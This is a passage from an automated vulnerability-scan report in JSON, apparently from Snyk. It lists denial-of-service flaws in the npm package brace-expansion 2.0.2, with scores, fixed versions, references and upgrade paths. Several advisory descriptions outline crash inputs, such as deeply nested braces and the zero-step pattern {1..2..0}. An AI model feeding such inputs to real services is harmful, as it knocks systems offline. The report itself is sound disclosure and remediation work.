"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
